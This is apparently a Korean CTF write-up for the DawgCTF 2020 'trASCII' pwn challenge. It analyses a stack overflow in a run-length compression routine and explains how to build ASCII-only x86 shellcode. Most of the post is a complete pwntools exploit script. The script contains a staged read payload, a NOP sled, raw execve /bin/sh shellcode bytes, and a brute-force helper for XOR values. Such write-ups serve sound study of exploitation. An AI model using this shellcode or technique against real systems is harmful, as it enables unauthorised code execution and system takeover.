본문 바로가기

PWN

2020 DawgCTF / trASCII

 

keyword : ascii only shellcode

 

 

trASCII
0.01MB
checksec

 

# analysis bug

 

int compact()
{
  size_t v0; // eax
  int i; // [esp+4h] [ebp-54h]
  signed int v3; // [esp+8h] [ebp-50h]
  size_t v4; // [esp+Ch] [ebp-4Ch]
  char s[72]; // [esp+10h] [ebp-48h]

  memset(s, 0, 0x40u);
  puts("What garbage do you have for us today?");
  fgets(trash, 10000, stdin);
  v4 = strlen(trash);
  if ( !v4 )
  {
    puts("You didn't enter any trash :(");
    exit(-1);
  }
  trash[v4 - 1] = 0;
  for ( i = 0; i < (signed int)(v4 - 1); ++i )
  {
    v3 = 1;
    while ( i < (signed int)(v4 - 1) && trash[i] == trash[i + 1] )
    {
      ++v3;
      ++i;
    }
    if ( trash[i] > 0x7A || trash[i] <= 0x2F )
    {
      puts("That's not trash, that's recycling");
      exit(-1);
    }
    s[strlen(s) + 1] = 0;
    s[strlen(s)] = trash[i];
    v0 = strlen(s);                             // overflow
    sprintf(&s[v0], "%d", v3);
  }
  memset(trash, 0, 0x2710u);
  strcpy(trash, s);
  return printf("Thanks for the trash! Here's how I compressed it: %s\n", trash);
}

 

32bit elf 파일이 주어집니다. compact 함수는사용자로부터 입력을 받은 후 이를 압축합니다. 예를 들면 아래와 같습니다.

  1. aaab-> a3b1

  2. aaaaaaaaaabbbbcc->a10b4c2

compact 함수의 루프를 보면 stack buffer overflow가 발생하는 것을 볼 수 있습니다. 10000만큼 입력받기 때문에 길이제한에서는 비교적 자유롭습니다. 다만 입력되는 문자열은 0x30보다 크고 0x7a보다 작아야 합니다. 또한 overflow되는 문자열은 압축된 문자열이기 때문에 다음과 같은 규칙을 따라야 합니다.

 

  1. 0x30보다 크고 0x7a보다 작아야 한다.

  2. 숫자를 제외한 문자는 연속으로 올 수 없다.

 

bss 영역의 주소는 ascii로 표현 가능한 것을 알 수 있습니다. 따라서 trash에 쉘코드를 넣은 후 return address를 trash로 바꿔야 합니다. 

 

bss

아래는 compact함수의 에필로그입니다. 우리가 stack overflow를 유발할 경우 ebx,edi,ebp 레지스터에 값을 쓴 체로 쉘코드에 진입하게 된다는 것을 확인할 수 있습니다. 

 

.text:080493C9                 lea     esp, [ebp-8]
.text:080493CC                 pop     ebx
.text:080493CD                 pop     edi
.text:080493CE                 pop     ebp
.text:080493CF                 retn

 

# shellcoding 

 

문제의 핵심은 쉘코드를 작성하는 부분입니다.일반적인 ascii only shellcode보다 까다로운 조건을 만족해야 하기 때문입니다. 

 

 

https://nets.ec/Ascii_shellcode Available Instructions 파트를 확인하면 사용할 수 있는 연산자를 알 수 있습니다. 이를 참고하여 아래 코드에서 사용한 트릭은 다음과 같습니다. 

 

  1. eax의 값이 바뀌어도 상관없는 부분은 0x37 --> "aaa"를 NOP으로 활용한다. 

    1. 0x37은 숫자에 포함되며 싱글 바이트이기 때문에 페이로드를 규칙에 끼워넣기 위해서 유용하게 사용됩니다.

  2. eax의 값이 바뀌면 안되는 부분은 NOP으로 아래의 두 어셈블리를 이용합니다. (glibc 2.27의 기준으로) 쉘코드가 실행될 때 ecx는 0이며, esi는 유효한 주소를 가리키고 있습니다.

    1. "cmp    BYTE PTR [esi],  dh" -->3836

    2. " cmp    BYTE PTR [ecx+esi*1],  dh" --> 383431 

  3. ascii 범위를 벗어난 코드를 사용해야 할 때는 esp를 쉘코드가 있는 곳으로 바꾼 뒤 "xor eax, some; push eax"를 이용합니다.

    1. 이를 통하여 "int 0x80"과 "xchg ecx,ebx"를 실행할 수 있습니다.

    2. 이에 대한 자세한 설명은 https://nets.ec/Ascii_shellcode The kernel interrupt를 확인하세요.

    3. 다만 위 링크에 있는 두 번 xor하는 방식은 해당 바이너리의 규칙인 "숫자를 제외한 문자는 연속으로 올 수 없다"에 걸리기 때문에 3번 xor하는 방식을 선택했습니다.

  4. execve 쉘코드가 아닌 read를 실행하는 쉘코드를 입력한다. 

    1. execve 쉘코드보다 read 쉘코드가 간단하기 때문입니다. ecx가 eip 근처를 가리키게 한 후 read를 실행하면 됩니다. 두 번째 입력에서 NOP SLED와 함께 쉘을 띄우는 쉘코드를 주입합니다.

    2. 취약점이 트리거된 당시 ecx의 값은 0이고 ebx의 값은 쉘코드를 가리키고 있습니다(ebx는 우리가 임의로 값을 적을 수 있기 때문입니다). 따라서 "xchg ecx,ebx"로 read의 인자를 한 번에 맞출 수 있습니다. size를 나타내는 edx는 stack의 주소를 가리키는데, 32비트에서는 size가 음수여도 read되기 때문에 상관없습니다.

    3. eax를 "xchg ecx,ebx; int 0x80;"로 만들기 위해서 xor을 3번 사용했던 것과 마찬가지로 eax를 0xfffffff로 만들기 위해서 xor을 3번 합니다. 이후 "inc eax"를 통해 eax를 read의 syscall number인 3으로 맞춰줍니다. 

 

위 트릭과 약간의 노가다를 합치면 쉘코드를 작성할 수 있습니다. 

 

from pwn import *
p=process('trASCII')
#p= remote('ctf.umbccd.io' ,4800)

payload ="az"*10+'bt'*5+"q"*0x10+"w"*3#33
payload+=chr(0x5b)+chr(0x50)#ebx
payload+="z"*9+"x"*9#edi
payload+='ew'*1#ebp
payload+="\x53"#last bit
payload+=chr(0x50)*8#0x50395231 0x50 31 52 35
#trash+324

payload+=(chr(0x6a)+chr(0x34))*0x22d#nop sled
payload+=chr(0x37)*7#nop one

'''
NOP
asm "cmp    BYTE PTR [esi],  dh"
3836
disasm "383431"  
   0:    38 34 31                 cmp    BYTE PTR [ecx+esi*1],  dh


hex(0x3131^0xcd80)
ffff ^ 7F32 =80cd
0x7a31^0x3731^0x3232=0x7f32
dec eax; xor eax,0x7a31;xor eax,0x3731;xor eax,0x3232


#set eax =0x80cdd987 --> xchg ecx,ebx; int 0x80
asm "push 0x31;pop eax;cmp    BYTE PTR [esi],  dh;xor al, 0x31;dec eax;cmp    BYTE PTR [esi],  dh;xor eax,0x7a323178;cmp    BYTE PTR [esi],  dh;xor eax,0x37326e32;xor eax,0x32327932"
6a31
5838
363431
4838
3635
783132
7a38
363532
6e32
373532
793232
'''

payload+=chr(0x6a)
payload+=chr(0x58)*0x8
payload+=chr(0x36)*41
payload+=chr(0x48)*8
payload+=chr(0x36)*5
payload+=chr(0x78)*12
payload+=chr(0x7a)*8
payload+=chr(0x36)*52
payload+=chr(0x6e)*2
payload+=chr(0x37)*52
payload+=chr(0x79)*22

'''
#set esp to eip; push eax;set eax
asm "push 0x50315c33;cmp    BYTE PTR [esi],  dh;pop esp;cmp    BYTE PTR [esi],  dh;push eax;cmp    BYTE PTR [esi],  dh;"
6833
5c31
503836
5c3836
503836
'''

payload+=chr(0x68)*3#addr
payload+=chr(0x5c)
payload+=chr(0x50)*86
payload+=chr(0x5c)*86
payload+=chr(0x50)*86

########xor to make eax 0xffffffff and inc 4
'''
#eax = 0x80cdd987

0x76387938
0x31396e33
0x38333173
asm "xor eax,0x76387938; xor eax,0x31396e33; xor eax,0x38333173;"
3538
7938
763533
6e39
3135
7331
3338

asm "inc eax;cmp    BYTE PTR [esi],  dh;"
403836

'''
payload+=chr(0x35)*8
payload+=chr(0x79)*8
payload+=chr(0x76)*53
payload+=chr(0x6e)*9
payload+=chr(0x31)*5
payload+=chr(0x73)
payload+=chr(0x33)*8

for x in range(4):
    payload+=chr(0x40)*8
    payload+=chr(0x34)*1

#########NOP SLED######

for x in range(0x30-3):
    payload+=chr(0x38)*4
    payload+=chr(0x31)*86

p.sendline(payload)
p.recvuntil("Thanks for the trash! Here's how I compressed it: ")

payload = "\x90"*0x100
payload+='\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80'
p.sendline(payload)
p.interactive()

get shell

 

 

byte=0x87
for x in range(0x31,0x7a):
    for y in range(0x31,0x7a):
        for z in range(0x31,0x7a):
            if x^y^z^0xff==byte:
                print ("%x %x %x"%(x,y,z))

'PWN' 카테고리의 다른 글

Multiple vulnerabilities In radare2-extras / Fixed  (0) 2020.07.03
2020 PWN2WIN / tukro  (0) 2020.06.01
HackCTF/ Unexploitable #4  (0) 2020.03.24
FireShell CTF 2020 / FireHTTPD  (0) 2020.03.23
peda, pwndbg, gef 같이 쓰기  (0) 2020.03.08